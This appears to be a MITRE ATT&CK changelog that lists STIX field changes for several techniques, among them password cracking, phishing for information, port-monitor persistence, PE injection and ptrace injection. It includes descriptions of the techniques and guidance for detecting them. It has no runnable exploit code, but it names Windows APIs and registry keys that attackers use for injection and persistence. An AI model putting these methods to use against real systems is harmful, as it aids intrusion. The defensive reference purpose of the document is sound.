| > | nd services in which the account has access. | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_contributors | ['Mohamed Kmal'] | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| external_references | US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020. |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_permissions_required | ['User'] | |
| external_references | CAPEC-55 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-16 15:39:59.041000+00:00 | 2022-04-19 21:33:46.023000+00:00 |
| description | Adversaries may use password cracking to attempt to recover usable credentials, such as plaintext passwords, when credential material such as password hashes are obtained. [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) is used to obtain password hashes, this may only get an adversary so far when [Pass the Hash](https://attack.mitre.org/techniques/T1550/002) is not an option. Techniques to systematically guess the passwords used to compute hashes are available, or the adversary may use a pre-computed rainbow table to crack hashes. Cracking hashes is usually done on adversary-controlled systems outside of the target network.(Citation: Wikipedia Password cracking) The resulting plaintext password resulting from a successfully cracked hash may be used to log into systems, resources, and services in which the account has access. | Adversaries may use password cracking to attempt to recover usable credentials, such as plaintext passwords, when credential material such as password hashes are obtained. [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) can be used to obtain password hashes, this may only get an adversary so far when [Pass the Hash](https://attack.mitre.org/techniques/T1550/002) is not an option. Further, adversaries may leverage [Data from Configuration Repository](https://attack.mitre.org/techniques/T1602) in order to obtain hashed credentials for network devices.(Citation: US-CERT-TA18-106A) Techniques to systematically guess the passwords used to compute hashes are available, or the adversary may use a pre-computed rainbow table to crack hashes. Cracking hashes is usually done on adversary-controlled systems outside of the target network.(Citation: Wikipedia Password cracking) The resulting plaintext password resulting from a successfully cracked hash may be used to log into systems, resources, and services in which the account has access. |
| external_references[1]['source_name'] | capec | US-CERT-TA18-106A |
| external_references[1]['url'] | https://capec.mitre.org/data/definitions/55.html | https://www.us-cert.gov/ncas/alerts/TA18-106A |
| x_mitre_data_sources[0] | Authentication logs | User Account: User Account Authentication |
| x_mitre_data_sources[1] | Office 365 account logs | Application Log: Application Log Content |
| x_mitre_version | 1.1 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/55.html', 'external_id': 'CAPEC-55'} | |
| x_mitre_platforms | Network |
Current version: 1.2
Version changed from: 1.1 → 1.2
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-19 22:43:45.579000+00:00 | 2021-04-06 12:32:47.678000+00:00 |
| x_mitre_data_sources[0] | Authentication logs | Application Log: Application Log Content |
| x_mitre_data_sources[1] | Office 365 account logs | User Account: User Account Authentication |
| x_mitre_platforms[0] | Linux | Windows |
| x_mitre_platforms[1] | macOS | Azure AD |
| x_mitre_platforms[2] | Windows | Office 365 |
| x_mitre_platforms[3] | AWS | SaaS |
| x_mitre_platforms[4] | GCP | IaaS |
| x_mitre_platforms[5] | Azure | Linux |
| x_mitre_platforms[6] | Office 365 | macOS |
| x_mitre_platforms[7] | Azure AD | Google Workspace |
| x_mitre_platforms[8] | SaaS | Containers |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.3
Version changed from: 1.2 → 1.3
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may attempt to gather information about attached | t | 1 | Adversaries may attempt to gather information about attached |
| > | peripheral devices and components connected to a computer s | > | peripheral devices and components connected to a computer s | ||
| > | ystem. Peripheral devices could include auxiliary resources | > | ystem.(Citation: Peripheral Discovery Linux)(Citation: Perip | ||
| > | that support a variety of functionalities such as keyboards, | > | heral Discovery macOS) Peripheral devices could include auxi | ||
| > | printers, cameras, smart card readers, or removable storage | > | liary resources that support a variety of functionalities su | ||
| > | . The information may be used to enhance their awareness of | > | ch as keyboards, printers, cameras, smart card readers, or r | ||
| > | the system and network environment or may be used for furthe | > | emovable storage. The information may be used to enhance the | ||
| > | r actions. | > | ir awareness of the system and network environment or may be | ||
| > | used for further actions. | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_is_subtechnique | False |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-26 17:42:03.337000+00:00 | 2022-03-11 18:39:11.763000+00:00 |
| description | Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system. Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions. | Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system.(Citation: Peripheral Discovery Linux)(Citation: Peripheral Discovery macOS) Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions. |
| x_mitre_data_sources[0] | PowerShell logs | Command: Command Execution |
| x_mitre_data_sources[1] | API monitoring | Process: OS API Execution |
| x_mitre_data_sources[2] | Process monitoring | Process: Process Creation |
| x_mitre_version | 1.2 | 1.3 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Peripheral Discovery Linux', 'description': 'Shahriar Shovon. (2018, March). List USB Devices Linux. Retrieved March 11, 2022.', 'url': 'https://linuxhint.com/list-usb-devices-linux/'} | |
| external_references | {'source_name': 'Peripheral Discovery macOS', 'description': 'SS64. (n.d.). system_profiler. Retrieved March 11, 2022.', 'url': 'https://ss64.com/osx/system_profiler.html'} | |
| x_mitre_platforms | Linux |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process command-line parameters |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may send phishing | t | 1 | Adversaries may send phishing messages to elicit sensitive i |
| > | messages to elicit sensitive information that can be used du | > | nformation that can be used during targeting. Phishing for i | ||
| > | ring targeting. Phishing for information is an attempt to tr | > | nformation is an attempt to trick targets into divulging inf | ||
| > | ick targets into divulging information, frequently credentia | > | ormation, frequently credentials or other actionable informa | ||
| > | ls or other actionable information. Phishing for information | > | tion. Phishing for information is different from [Phishing]( | ||
| > | is different from [Phishing](https://attack.mitre.org/techn | > | https://attack.mitre.org/techniques/T1566) in that the objec | ||
| > | iques/T1566) in that the objective is gathering data from th | > | tive is gathering data from the victim rather than executing | ||
| > | e victim rather than executing malicious code. All forms of | > | malicious code. All forms of phishing are electronically d | ||
| > | phishing are electronically delivered social engineering. P | > | elivered social engineering. Phishing can be targeted, known | ||
| > | hishing can be targeted, known as spearphishing. In spearphi | > | as spearphishing. In spearphishing, a specific individual, | ||
| > | shing, a specific individual, company, or industry will be t | > | company, or industry will be targeted by the adversary. More | ||
| > | argeted by the adversary. More generally, adversaries can co | > | generally, adversaries can conduct non-targeted phishing, s | ||
| > | nduct non-targeted phishing, such as in mass credential harv | > | uch as in mass credential harvesting campaigns. Adversaries | ||
| > | esting campaigns. Adversaries may also try to obtain inform | > | may also try to obtain information directly through the exc | ||
| > | ation directly through the exchange of emails, instant messa | > | hange of emails, instant messages, or other electronic conve | ||
| > | ges, or other electronic conversation means.(Citation: Threa | > | rsation means.(Citation: ThreatPost Social Media Phishing)(C | ||
| > | tPost Social Media Phishing)(Citation: TrendMictro Phishing) | > | itation: TrendMictro Phishing)(Citation: PCMag FakeLogin)(Ci | ||
| > | (Citation: PCMag FakeLogin)(Citation: Sophos Attachment)(Cit | > | tation: Sophos Attachment)(Citation: GitHub Phishery) Phishi | ||
| > | ation: GitHub Phishery) Phishing for information frequently | > | ng for information frequently involves social engineering te | ||
| > | involves social engineering techniques, such as posing as a | > | chniques, such as posing as a source with a reason to collec | ||
| > | source with a reason to collect information (ex: [Establish | > | t information (ex: [Establish Accounts](https://attack.mitre | ||
| > | Accounts](https://attack.mitre.org/techniques/T1585) or [Com | > | .org/techniques/T1585) or [Compromise Accounts](https://atta | ||
| > | promise Accounts](https://attack.mitre.org/techniques/T1586) | > | ck.mitre.org/techniques/T1586)) and/or sending multiple, see | ||
| > | ) and/or sending multiple, seemingly urgent messages. | > | mingly urgent messages. | ||
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_is_subtechnique | False |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-25 19:44:58.292000+00:00 | 2022-03-08 21:57:56.078000+00:00 |
| description | Before compromising a victim, adversaries may send phishing messages to elicit sensitive information that can be used during targeting. Phishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Phishing for information is different from [Phishing](https://attack.mitre.org/techniques/T1566) in that the objective is gathering data from the victim rather than executing malicious code. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass credential harvesting campaigns. Adversaries may also try to obtain information directly through the exchange of emails, instant messages, or other electronic conversation means.(Citation: ThreatPost Social Media Phishing)(Citation: TrendMictro Phishing)(Citation: PCMag FakeLogin)(Citation: Sophos Attachment)(Citation: GitHub Phishery) Phishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages. | Adversaries may send phishing messages to elicit sensitive information that can be used during targeting. Phishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Phishing for information is different from [Phishing](https://attack.mitre.org/techniques/T1566) in that the objective is gathering data from the victim rather than executing malicious code. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass credential harvesting campaigns. Adversaries may also try to obtain information directly through the exchange of emails, instant messages, or other electronic conversation means.(Citation: ThreatPost Social Media Phishing)(Citation: TrendMictro Phishing)(Citation: PCMag FakeLogin)(Citation: Sophos Attachment)(Citation: GitHub Phishery) Phishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages. |
| x_mitre_data_sources[0] | Social media monitoring | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[1] | Mail server | Application Log: Application Log Content |
| x_mitre_data_sources[2] | Email gateway | Network Traffic: Network Traffic Flow |
| x_mitre_detection | Depending on the specific method of spearphishing, the detections can vary. Monitor for suspicious email activity, such as numerous accounts receiving messages from a single unusual/unknown sender. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed. Also consider enabling DMARC to verify the sender of emails.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing) When it comes to following links, monitor for references to uncategorized or known-bad sites. URL inspection within email (including expanding shortened links) can also help detect links leading to known malicious sites. Monitor social media traffic for suspicious activity, including messages requesting information as well as abnormal file or data transfers (especially those involving unknown, or otherwise suspicious accounts). | Depending on the specific method of phishing, the detections can vary. Monitor for suspicious email activity, such as numerous accounts receiving messages from a single unusual/unknown sender. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing) When it comes to following links, monitor for references to uncategorized or known-bad sites. URL inspection within email (including expanding shortened links) can also help detect links leading to known malicious sites. Monitor social media traffic for suspicious activity, including messages requesting information as well as abnormal file or data transfers (especially those involving unknown, or otherwise suspicious accounts). |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | Philip Winther |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may use port monitors to run an attacker supplie | t | 1 | Adversaries may use port monitors to run an adversary suppli |
| > | d DLL during system boot for persistence or privilege escala | > | ed DLL during system boot for persistence or privilege escal | ||
| > | tion. A port monitor can be set through the <code>AddMonitor | > | ation. A port monitor can be set through the <code>AddMonito | ||
| > | </code> API call to set a DLL to be loaded at startup. (Cita | > | r</code> API call to set a DLL to be loaded at startup.(Cita | ||
| > | tion: AddMonitor) This DLL can be located in <code>C:\Window | > | tion: AddMonitor) This DLL can be located in <code>C:\Window | ||
| > | s\System32</code> and will be loaded by the print spooler se | > | s\System32</code> and will be loaded by the print spooler se | ||
| > | rvice, spoolsv.exe, on boot. The spoolsv.exe process also ru | > | rvice, spoolsv.exe, on boot. The spoolsv.exe process also ru | ||
| > | ns under SYSTEM level permissions. (Citation: Bloxham) Alter | > | ns under SYSTEM level permissions.(Citation: Bloxham) Altern | ||
| > | natively, an arbitrary DLL can be loaded if permissions allo | > | atively, an arbitrary DLL can be loaded if permissions allow | ||
| > | w writing a fully-qualified pathname for that DLL to <code>H | > | writing a fully-qualified pathname for that DLL to <code>HK | ||
| > | KLM\SYSTEM\CurrentControlSet\Control\Print\Monitors</code>. | > | LM\SYSTEM\CurrentControlSet\Control\Print\Monitors</code>. | ||
| > | The Registry key contains entries for the following: * Lo | > | The Registry key contains entries for the following: * Loc | ||
| > | cal Port * Standard TCP/IP Port * USB Monitor * WSD Port Ad | > | al Port * Standard TCP/IP Port * USB Monitor * WSD Port Adv | ||
| > | versaries can use this technique to load malicious code at s | > | ersaries can use this technique to load malicious code at st | ||
| > | tartup that will persist on system reboot and execute as SYS | > | artup that will persist on system reboot and execute as SYST | ||
| > | TEM. | > | EM. | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-01-24 19:46:27.750000+00:00 | 2022-04-20 16:36:31.835000+00:00 |
| description | Adversaries may use port monitors to run an attacker supplied DLL during system boot for persistence or privilege escalation. A port monitor can be set through the AddMonitor API call to set a DLL to be loaded at startup. (Citation: AddMonitor) This DLL can be located in C:\Windows\System32 and will be loaded by the print spooler service, spoolsv.exe, on boot. The spoolsv.exe process also runs under SYSTEM level permissions. (Citation: Bloxham) Alternatively, an arbitrary DLL can be loaded if permissions allow writing a fully-qualified pathname for that DLL to HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors.
The Registry key contains entries for the following:
* Local Port
* Standard TCP/IP Port
* USB Monitor
* WSD Port
Adversaries can use this technique to load malicious code at startup that will persist on system reboot and execute as SYSTEM. | Adversaries may use port monitors to run an adversary supplied DLL during system boot for persistence or privilege escalation. A port monitor can be set through the AddMonitor API call to set a DLL to be loaded at startup.(Citation: AddMonitor) This DLL can be located in C:\Windows\System32 and will be loaded by the print spooler service, spoolsv.exe, on boot. The spoolsv.exe process also runs under SYSTEM level permissions.(Citation: Bloxham) Alternatively, an arbitrary DLL can be loaded if permissions allow writing a fully-qualified pathname for that DLL to HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors.
The Registry key contains entries for the following:
* Local Port
* Standard TCP/IP Port
* USB Monitor
* WSD Port
Adversaries can use this technique to load malicious code at startup that will persist on system reboot and execute as SYSTEM. |
| external_references[1]['source_name'] | AddMonitor | Bloxham |
| external_references[1]['description'] | Microsoft. (n.d.). AddMonitor function. Retrieved November 12, 2014. | Bloxham, B. (n.d.). Getting Windows to Play with Itself [PowerPoint slides]. Retrieved November 12, 2014. |
| external_references[1]['url'] | http://msdn.microsoft.com/en-us/library/dd183341 | https://www.defcon.org/images/defcon-22/dc-22-presentations/Bloxham/DEFCON-22-Brady-Bloxham-Windows-API-Abuse-UPDATED.pdf |
| external_references[2]['source_name'] | Bloxham | AddMonitor |
| external_references[2]['description'] | Bloxham, B. (n.d.). Getting Windows to Play with Itself [PowerPoint slides]. Retrieved November 12, 2014. | Microsoft. (n.d.). AddMonitor function. Retrieved November 12, 2014. |
| external_references[2]['url'] | https://www.defcon.org/images/defcon-22/dc-22-presentations/Bloxham/DEFCON-22-Brady-Bloxham-Windows-API-Abuse-UPDATED.pdf | http://msdn.microsoft.com/en-us/library/dd183341 |
| x_mitre_data_sources[0] | File monitoring | File: File Creation |
| x_mitre_data_sources[1] | API monitoring | Windows Registry: Windows Registry Key Modification |
| x_mitre_data_sources[2] | DLL monitoring | Process: OS API Execution |
| x_mitre_data_sources[3] | Windows Registry | Module: Module Load |
| x_mitre_detection | Monitor process API calls to AddMonitor.(Citation: AddMonitor) Monitor DLLs that are loaded by spoolsv.exe for DLLs that are abnormal. New DLLs written to the System32 directory that do not correlate with known good software or patching may be suspicious.
Monitor Registry writes to HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors. Run the Autoruns utility, which checks for this Registry key as a persistence mechanism (Citation: TechNet Autoruns) | Monitor process API calls to AddMonitor.(Citation: AddMonitor) Monitor DLLs that are loaded by spoolsv.exe for DLLs that are abnormal. New DLLs written to the System32 directory that do not correlate with known good software or patching may be suspicious.
Monitor Registry writes to HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors. Run the Autoruns utility, which checks for this Registry key as a persistence mechanism.(Citation: TechNet Autoruns) |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process monitoring |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may inject portable executables (PE) into proces | t | 1 | Adversaries may inject portable executables (PE) into proces |
| > | ses in order to evade process-based defenses as well as poss | > | ses in order to evade process-based defenses as well as poss | ||
| > | ibly elevate privileges. PE injection is a method of executi | > | ibly elevate privileges. PE injection is a method of executi | ||
| > | ng arbitrary code in the address space of a separate live pr | > | ng arbitrary code in the address space of a separate live pr | ||
| > | ocess. PE injection is commonly performed by copying code | > | ocess. PE injection is commonly performed by copying code | ||
| > | (perhaps without a file on disk) into the virtual address sp | > | (perhaps without a file on disk) into the virtual address sp | ||
| > | ace of the target process before invoking it via a new threa | > | ace of the target process before invoking it via a new threa | ||
| > | d. The write can be performed with native Windows API calls | > | d. The write can be performed with native Windows API calls | ||
| > | such as <code>VirtualAllocEx</code> and <code>WriteProcessMe | > | such as <code>VirtualAllocEx</code> and <code>WriteProcessMe | ||
| > | mory</code>, then invoked with <code>CreateRemoteThread</cod | > | mory</code>, then invoked with <code>CreateRemoteThread</cod | ||
| > | e> or additional code (ex: shellcode). The displacement of t | > | e> or additional code (ex: shellcode). The displacement of t | ||
| > | he injected code does introduce the additional requirement f | > | he injected code does introduce the additional requirement f | ||
| > | or functionality to remap memory references. (Citation: Endg | > | or functionality to remap memory references. (Citation: Elas | ||
| > | ame Process Injection July 2017) Running code in the conte | > | tic Process Injection July 2017) Running code in the conte | ||
| > | xt of another process may allow access to the process's memo | > | xt of another process may allow access to the process's memo | ||
| > | ry, system/network resources, and possibly elevated privileg | > | ry, system/network resources, and possibly elevated privileg | ||
| > | es. Execution via PE injection may also evade detection from | > | es. Execution via PE injection may also evade detection from | ||
| > | security products since the execution is masked under a leg | > | security products since the execution is masked under a leg | ||
| > | itimate process. | > | itimate process. | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-20 22:19:58.813000+00:00 | 2021-10-18 12:21:11.178000+00:00 |
| description | Adversaries may inject portable executables (PE) into processes in order to evade process-based defenses as well as possibly elevate privileges. PE injection is a method of executing arbitrary code in the address space of a separate live process.
PE injection is commonly performed by copying code (perhaps without a file on disk) into the virtual address space of the target process before invoking it via a new thread. The write can be performed with native Windows API calls such as VirtualAllocEx and WriteProcessMemory, then invoked with CreateRemoteThread or additional code (ex: shellcode). The displacement of the injected code does introduce the additional requirement for functionality to remap memory references. (Citation: Endgame Process Injection July 2017)
Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via PE injection may also evade detection from security products since the execution is masked under a legitimate process. | Adversaries may inject portable executables (PE) into processes in order to evade process-based defenses as well as possibly elevate privileges. PE injection is a method of executing arbitrary code in the address space of a separate live process.
PE injection is commonly performed by copying code (perhaps without a file on disk) into the virtual address space of the target process before invoking it via a new thread. The write can be performed with native Windows API calls such as VirtualAllocEx and WriteProcessMemory, then invoked with CreateRemoteThread or additional code (ex: shellcode). The displacement of the injected code does introduce the additional requirement for functionality to remap memory references. (Citation: Elastic Process Injection July 2017)
Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via PE injection may also evade detection from security products since the execution is masked under a legitimate process. |
| external_references[1]['source_name'] | Endgame Process Injection July 2017 | Elastic Process Injection July 2017 |
| x_mitre_data_sources[0] | Process monitoring | Process: OS API Execution |
| x_mitre_data_sources[1] | API monitoring | Process: Process Access |
| x_mitre_detection | Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Endgame Process Injection July 2017)
Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. | Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017)
Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process: Process Modification |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-24 21:31:31.082000+00:00 | 2022-02-08 16:39:08.851000+00:00 |
| x_mitre_data_sources[0] | PowerShell logs | File: File Modification |
| x_mitre_data_sources[1] | File monitoring | Process: Process Creation |
| x_mitre_data_sources[2] | Process command-line parameters | File: File Creation |
| x_mitre_data_sources[3] | Process monitoring | Command: Command Execution |
| x_mitre_detection | Locations where profile.ps1 can be stored should be monitored for new profiles or modifications. (Citation: Malware Archaeology PowerShell Cheat Sheet) Example profile locations include:
* $PsHome\Profile.ps1
* $PsHome\Microsoft.{HostProgram}_profile.ps1
* $Home\My Documents\PowerShell\Profile.ps1
* $Home\My Documents\PowerShell\Microsoft.{HostProgram}_profile.ps1
Monitor abnormal PowerShell commands, unusual loading of PowerShell drives or modules, and/or execution of unknown programs. | Locations where profile.ps1 can be stored should be monitored for new profiles or modifications. (Citation: Malware Archaeology PowerShell Cheat Sheet)(Citation: Microsoft Profiles) Example profile locations (user defaults as well as program-specific) include:
* $PsHome\Profile.ps1
* $PsHome\Microsoft.{HostProgram}_profile.ps1
* $Home\\\[My ]Documents\PowerShell\Profile.ps1
* $Home\\\[My ]Documents\PowerShell\Microsoft.{HostProgram}_profile.ps1
Monitor abnormal PowerShell commands, unusual loading of PowerShell drives or modules, and/or execution of unknown programs. |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Microsoft Profiles', 'description': 'Microsoft. (2021, September 27). about_Profiles. Retrieved February 4, 2022.', 'url': 'https://docs.microsoft.com/powershell/module/microsoft.powershell.core/about/about_profiles'} | |
| x_mitre_contributors | Matthew Green |
Current version: 1.2
Version changed from: 1.1 → 1.2
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_is_subtechnique | False |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-20 22:28:45.651000+00:00 | 2022-03-08 20:59:21.118000+00:00 |
| external_references[2]['source_name'] | Endgame Process Injection July 2017 | Elastic Process Injection July 2017 |
| x_mitre_data_sources[0] | API monitoring | Module: Module Load |
| x_mitre_data_sources[1] | File monitoring | File: File Modification |
| x_mitre_data_sources[2] | DLL monitoring | File: File Metadata |
| x_mitre_data_sources[3] | Process monitoring | Process: Process Modification |
| x_mitre_data_sources[4] | Named Pipes | Process: OS API Execution |
| x_mitre_detection | Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, QueueUserAPC/NtQueueApcThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Endgame Process Injection July 2017)
Monitor DLL/PE file events, specifically creation of these binary files as well as the loading of DLLs into processes. Look for DLLs that are not recognized or not normally loaded into a process.
Monitoring for Linux specific calls such as the ptrace system call should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods.(Citation: ArtOfMemoryForensics) (Citation: GNU Acct) (Citation: RHEL auditd) (Citation: Chokepoint preload rootkits)
Monitor for named pipe creation and connection events (Event IDs 17 and 18) for possible indicators of infected processes with external modules.(Citation: Microsoft Sysmon v6 May 2017)
Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. | Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, QueueUserAPC/NtQueueApcThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017)
Monitor DLL/PE file events, specifically creation of these binary files as well as the loading of DLLs into processes. Look for DLLs that are not recognized or not normally loaded into a process.
Monitoring for Linux specific calls such as the ptrace system call should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods.(Citation: ArtOfMemoryForensics) (Citation: GNU Acct) (Citation: RHEL auditd) (Citation: Chokepoint preload rootkits)
Monitor for named pipe creation and connection events (Event IDs 17 and 18) for possible indicators of infected processes with external modules.(Citation: Microsoft Sysmon v6 May 2017)
Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. |
| x_mitre_version | 1.1 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process: Process Access |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may inject malicious code into processes via ptr | t | 1 | Adversaries may inject malicious code into processes via ptr |
| > | ace (process trace) system calls in order to evade process-b | > | ace (process trace) system calls in order to evade process-b | ||
| > | ased defenses as well as possibly elevate privileges. Ptrace | > | ased defenses as well as possibly elevate privileges. Ptrace | ||
| > | system call injection is a method of executing arbitrary co | > | system call injection is a method of executing arbitrary co | ||
| > | de in the address space of a separate live process. Ptrace | > | de in the address space of a separate live process. Ptrace | ||
| > | system call injection involves attaching to and modifying a | > | system call injection involves attaching to and modifying a | ||
| > | running process. The ptrace system call enables a debugging | > | running process. The ptrace system call enables a debugging | ||
| > | process to observe and control another process (and each in | > | process to observe and control another process (and each in | ||
| > | dividual thread), including changing memory and register val | > | dividual thread), including changing memory and register val | ||
| > | ues.(Citation: PTRACE man) Ptrace system call injection is c | > | ues.(Citation: PTRACE man) Ptrace system call injection is c | ||
| > | ommonly performed by writing arbitrary code into a running p | > | ommonly performed by writing arbitrary code into a running p | ||
| > | rocess (ex: <code>malloc</code>) then invoking that memory w | > | rocess (ex: <code>malloc</code>) then invoking that memory w | ||
| > | ith <code>PTRACE_SETREGS</code> to set the register containi | > | ith <code>PTRACE_SETREGS</code> to set the register containi | ||
| > | ng the next instruction to execute. Ptrace system call injec | > | ng the next instruction to execute. Ptrace system call injec | ||
| > | tion can also be done with <code>PTRACE_POKETEXT</code>/<cod | > | tion can also be done with <code>PTRACE_POKETEXT</code>/<cod | ||
| > | e>PTRACE_POKEDATA</code>, which copy data to a specific addr | > | e>PTRACE_POKEDATA</code>, which copy data to a specific addr | ||
